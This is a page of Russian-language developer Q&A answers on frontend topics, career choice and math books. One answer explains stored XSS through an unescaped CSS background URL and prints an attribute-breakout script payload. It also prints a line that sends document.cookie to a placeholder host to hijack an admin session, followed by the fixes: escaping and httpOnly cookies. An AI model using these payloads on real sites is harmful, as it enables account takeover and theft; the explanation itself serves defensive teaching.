• Как сделать слайдер с jquery?

    Madeas
    @Madeas
    UI / UX Designer, Frontend Developer
    Попробуйте поиграться со slick - centerMode: true и стилями
    Ответ написан
    2 комментария
  • Как сделать react-приложение с разным стилевым оформлением для каждого клиента?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Да вариантов много на самом деле. При использовании любой css-in-js библиотеки, например Styled Components, можно переключать темы налету. Для расположения модулей можно использовать условия и конфигурации, на крайняк разные точки входа с разным набором компонентов-страниц.
    Ответ написан
    2 комментария
  • Существует ли лаконичное описание математики?

    myjcom
    @myjcom
    Математика за 30 секунд
    Год: 2014
    Автор: под ред. Ричарда Брауна
    Переводчик: Карнаушко И.
    Издательство: Рипол Классик
    ISBN: 978-5-386-07012-0
    Серия: Узнать за 30 секунд
    Язык: Русский

    Математика. 50 идей, о которых нужно знать
    Год издания: 2014
    Автор: Крилли Т.
    Переводчик: Ш. Мартынова (с англ.)
    Издательство: Фантом Пресс
    ISBN: 978-5-86471-670-0
    Язык: Русский

    Магия математики: Как найти x и зачем это нужно
    Год издания: 2016
    Автор: Бенджамин А.
    Переводчик: Д. Глебов
    Издательство: Альпина Диджитал
    ISBN: 978-5-9614-4466-7
    Язык: Русский

    Удовольствие от x
    Год: 2014
    Автор: Строгац С.
    Издательство: Манн, Иванов и Фербер
    ISBN: 978-500057-008-1
    Язык: Русский

    Математика без формул
    Год выпуска: 1995
    Автор: Пухначев Ю., Попов Ю.

    Беседы о математике. Книга 1. Дискретные объекты
    Год выпуска: 2002
    Автор: Болтянский В.Г., Савин А.П.
    Жанр: Математика
    Издательство: МЦНМО
    ISBN: 5-94057-040-2
    Язык: Русский

    Мало ли...
    Логарифмическая линейка
    Год издания: 1958
    Автор: Кущенко В.С.
    Жанр или тематика: Математика
    Издательство: Судпромгиз
    Язык: Русский

    Счётная линейка
    Год выпуска: 1967
    Автор: Румшиский Лев Зимонович
    Издательство: "Наука"
    УДК: 681.143:518.5
    Язык: Русский
    Ответ написан
    Комментировать
  • Какой путь изучения программирования выбрать?

    @MadHarper
    Твоя цель сейчас - как можно скорее устроиться на работу. Можно до бесконечности изучать программирование самым усердным образом, но ты так никогда и не будешь на 100 ÷ готов к реальному программированию. Только на реальных боевых задачах, только в окружении более опытных коллег возможен реальный а не мнимой рост. Отсюда вывод - любой популярный яп. Хотя и тут есть нюансы. Очень не рекомендовал бы скажем питон. По причине из постулата выше - трудно будет найти работу. Я рекомендую php. Все кто пишут про него плохо ничего просто про него не знают. Как тот 4-месячный джуниор выше. Неприятен он ему видишь ли. Может точку с запятой ему не нравится ставить, может какая другая ерунда. Но точно объективного ничего тут не жди. И этим своим мелочным субъективизмом сбивает тут людей с толеу. По факту же современный php это хороший, быстрый (!) язык, с полноценным (не как в старых версиях) ООП. И он становится с каждой версией все лучше и лучше. На нем пишутся как сайты визитки, так и солидные энтерпрайз проекты. И вакансий много. Второй вариант - java. Но если не считать мобильной разработки, то это язык для энтерпрайз проектов. Соответственно одного только знания джавы никак не достаточно. Нужно знать и понимать много еще всяких спрингов или EE. И на работу джуном устоится труднее. А нам что надо? Правильно, как можно скорее начать работать профессионально. Но если есть в себе уверенность что пройдешь этот путь, что хватит настойчивости и терпения - все окупится.
    Короче, беспроигрышных вариантов два - php и java. Но следует помнить, по какому пути не пойдешь сам язык займет меньшую часть времени твоей подготовки.
    И в завершении скажу - прекращай маяться выбором, гуглением по теме "что выбрать". Завязывай тратить на это время. Начни программировать. Вот прямо сегодня.
    Ответ написан
    Комментировать
  • Какой путь изучения программирования выбрать?

    EvGenvinU
    @EvGenvinU
    Программист
    Здравствуйте!

    Программист - это человек, который не боится проблем, который любит решать проблемы, любит задавать вопросы и отвечать на них.
    Для вас ключевой момент - "задавать вопросы" и эти вопросы в первую очередь вы должны задавать себе и сами на них отвечать.

    Есть два вида программистов:
    1. Программист-теоретик. Человек искренне верит, что существует книга, которую стоит лишь прочесть и он станет полноценным разработчиком, которого с удовольствием возьмут на работу. Потом он понимает, что еще надо пройти курсы, а там еще пару книг и еще пару курсов, а еще найти наставника.
    2. Программист-практик. Человек, который видит проблему, задает себе вопрос, как решить эту проблему и формирует ответ.

    --Теоретик и спустя пять лет изучения курсов, книг, документации с трудом напишет, что-то сложнее Hello World. Сам процесс его обучения долгий и не эффективный. Но если вы обладаете феноменальной памятью, то спустя пару лет у вас будет сильная база.

    Подсказка:
    --Практик.

    ?? Спросите себя, какие проблемы вы хотите решать.
    == Хочу писать сайты.

    ?? Как решать конкретную проблему.
    == Все есть информация. Сайт это информация, отображает эту информацию браузер. Значит надо выяснить, как браузер это делает и какую информация он умеет отображать, как форматировать эту информацию.

    ?? Что нужно использовать, чтобы решить эту проблему.
    == Стек технологий неизменен на протяжении десятилетий. Это язык гипертекстовой разметки, позволяющий сообщить браузеру, где тут параграф, где картинка, а где заголовок. Каскадные таблицы стилей, способные изменять цвет текста, позиционировать элементы и блоки на странице, способные добавить анимацию и многое другое. Язык программирования компилятор которого встроен в браузер, отвечающий за наблюдение за пользователем и формирование на основе данных аналитики и статистики, способный управлять содержимым страницы.

    ?? Актуализируйте знания по инструментам и решениям проблем.
    == Подпишитесь на известных программистов. Изучите современные инструменты облегчающие жизнь разработчика. Прежде чем пробовать новые технологии хорошенько подумайте и проведите исследование. На основе результатов делайте выводы о эффективности внедрения. Если прирост КПД большой, то смело применяйте. Используйте качественные редакторы кода. И как всегда задавайте себе вопросы. Формируйте критерии и ищите по ним.

    Я понял, что хочу быть программистом, когда в студенческие годы работал в водоканале на станции забора воды, сторожем. Там был огромный резервуар и насосы его наполняющие. Резервуар полный и напор воды хороший, резервуар пуст и у людей ни напора ни воды. Машинист должен поддерживать наполненность резервуара при помощи насосов. Тут важно и не перестараться, переполнение резервуару опасно. На этой работе я в голове автоматизировал все рабочие процессы машиниста. Дипломной работой был проект автоматизации работы насосов и датчиков резервуара и прочего. Машинист в этой ситуации не лишался работы, а переходил на должность администратора. Статистика, отчеты, ошибки, ручное управление, если понадобится.

    Главное, не стесняйтесь спрашивать у Гугла. Умение задавать корректные вопросы оттачивается только на практике :-)

    Помните, что умственный труд программиста сравним с физическим трудом шахтера. Ответься себе на вопрос: "А оно мне надо?".
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как сделать разное расположение div?

    bubandos
    @bubandos
    bash'у, javascript'ую, php'лю, css'аю, html'каю
    %, vh и calc вам в помощь.
    Ну, еще position: relative и absolute
    Ответ написан
    Комментировать
  • Почему ie11 ругается на эти две функции?

    0xD34F
    @0xD34F Куратор тега JavaScript
    IE не поддерживает деструктурирующее присваивание. Как и шаблонные строки.
    Ответ написан
    4 комментария
  • Как повысить скорость разработки?

    каждый час ходи курить, вышел, воздухом подышал, с людьми пообщался, на девчонок посмотрел, отдохнул, и можно покрасноглазить еще час
    Ответ написан
    13 комментариев
  • Пытаюсь подключить babel для react в html. Пишет File to load file:///D:/Programmes/Projects/Project1/scripts/script.js?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Думаю, пока лучшим вариантом для вас будет create-react-app или codesandbox.

    Сама проблема в том, что вы открываете документ в браузере, а не получаете с сервера.
    Ответ написан
    6 комментариев
  • Как сделать чтобы номер был под заголовком?

    webinar
    @webinar
    Учим yii: https://youtu.be/-WRMlGHLgRg
    каждый раз когда слышу "z-index не работает " причина или в непонимании как он работает или в недосмотре (где-то более приоритетный селектор и на нем неожиданный z-index)
    В Вашем случае первое, но вы почему-то вместо того что бы разобраться, решили что он не работает. Он всегда работает:
    https://codepen.io/wokster/pen/MBgmWw

    ради интереса, а "Георграфия наших заключений" это "где мы сидели"?
    Ответ написан
    Комментировать
  • Как правильно прописать путь src в React?

    alexandr2006
    @alexandr2006
    весь во фронтенде
    Можно как указано выше, но более понтовей будет использовать шаблонные строки src={`i/com/${v.picture}`}
    Ответ написан
    Комментировать
  • Почему нет профсоюза IT-работников?

    Maksclub
    @Maksclub
    maksfedorov.ru
    Сейчас скоро появятся профсоюзы
    Они саккумулируют на себе все недовольство теми же пенсиями (заменив оппозиционные силы) и спустят весь пар вниз, тем самым (как бы вам и хотелось) повысив к себе внимание самим фактом, что они этим занимаются

    Если бы и был ИТ-профсоюз, то он ОБЯЗАТЕЛЬНО был бы за блокировку Телеграма, также как и интернет-обмудсмен, ровно как Партия Пенсионеров ЗА повышение возраста

    Толку от них никакого при НЕАКТИВНОМ обществе, некий подвариант партий, соответственно по подобию партий они будут лояльны режиму
    У нас активная поддержка президента, активная поддержка ЕдРоссии, активная поддержка будет этих "сущностей" и от лица профсоюза

    Уже вижу Касперскую, которая возглавила профсоюз ИТ-работников :)
    Ответ написан
    6 комментариев
  • JQuery есть смысл использовать вместо Реактов?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Если старый добрый jQuery может выполнить все задачи проекта

    Если вы пишите сайт, то есть смысл использовать JQuery.
    Если вы начинаете более-менее серьезный проект, то не использовать при этом один из современных фреймворков глупо.

    Понятно что вопрос надо смотреть конкретно, но все же - какие есть явные преимущества у React/Vue и недостатки jQuery?

    Попробуйте написать более менее сложный сервис на JQuery и получите тонну неподдерживаемых, плохомасштабируемых макарон, в которых черт ногу сломит или, в конце концов, изобретете свой велосипед, на который потратите кучу времени и энергии и с которым ни один программист в здравом уме не захочет иметь дело.

    Или это просто от слова Мода?

    Убеждение порожденное людьми, которые проектов серьезней "типовой сайт" не видели.
    Ответ написан
    Комментировать
  • Почему иногда выходит ошибка " Uncaught TypeError: Cannot read property '3' of undefined "?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Кажется, кто-то не в курсе, что индексация массивов начинается с нуля.

    Ну нет у вас ни в одном из массивов элемента с индексом 10, нет. Соответственно, когда lon принимает значение 10, map[lon] оказывается undefined, отсюда и ошибка.
    Ответ написан
    1 комментарий
  • Как изменить курсор печати с "_" на " | "?

    usdglander
    @usdglander
    Yipee-ki-yay
    Кнопку insert на клавиатуре найди и нажми её, господи!
    Ответ написан
    Комментировать
  • Как связать приложение на React с back-end?

    rockon404
    @rockon404 Куратор тега React
    Frontend Developer
    Связь с бекендом по REST API. Отправляете запрос, получаете ответ. Все просто.
    Вообще список задач можно и в localstorage сохранять.
    Но если решили сохранять в базу, то примерно так должно происходить сохранение задач:
    1. Пользователь заполнил форму и нажал "Добавить"
    2. POST запрос на сервер
    3. В случае успеха ответ и сохранение данных в store redux
    4. список обновляется и задача отображается в интерфейсе

    Если нет эндпоинтов на сервере можно написать заглушки на фронте, например, инъекцию липовых данных через connect.
    Или можно сразу написать эндпоинты на сервере. Если работаешь один можно использовать оба варианта. Я обычно сразу пишу эндпоинты.

    Бандл в режиме разработки собирать не надо, webpack dev server его пересобирает налету при каждом изменении. Советую настроить hot reload.

    Так же в современных приложениях часто реализуют server side rendering. Тут масса своих тонкостей и об этом лучше почитать соответствующие статьи.
    Ответ написан
    3 комментария
  • Как визуализировать анимацию из "none" в "block"?

    rockon404
    @rockon404
    Frontend Developer
    Используйте opacity. Пример
    Ответ написан
    Комментировать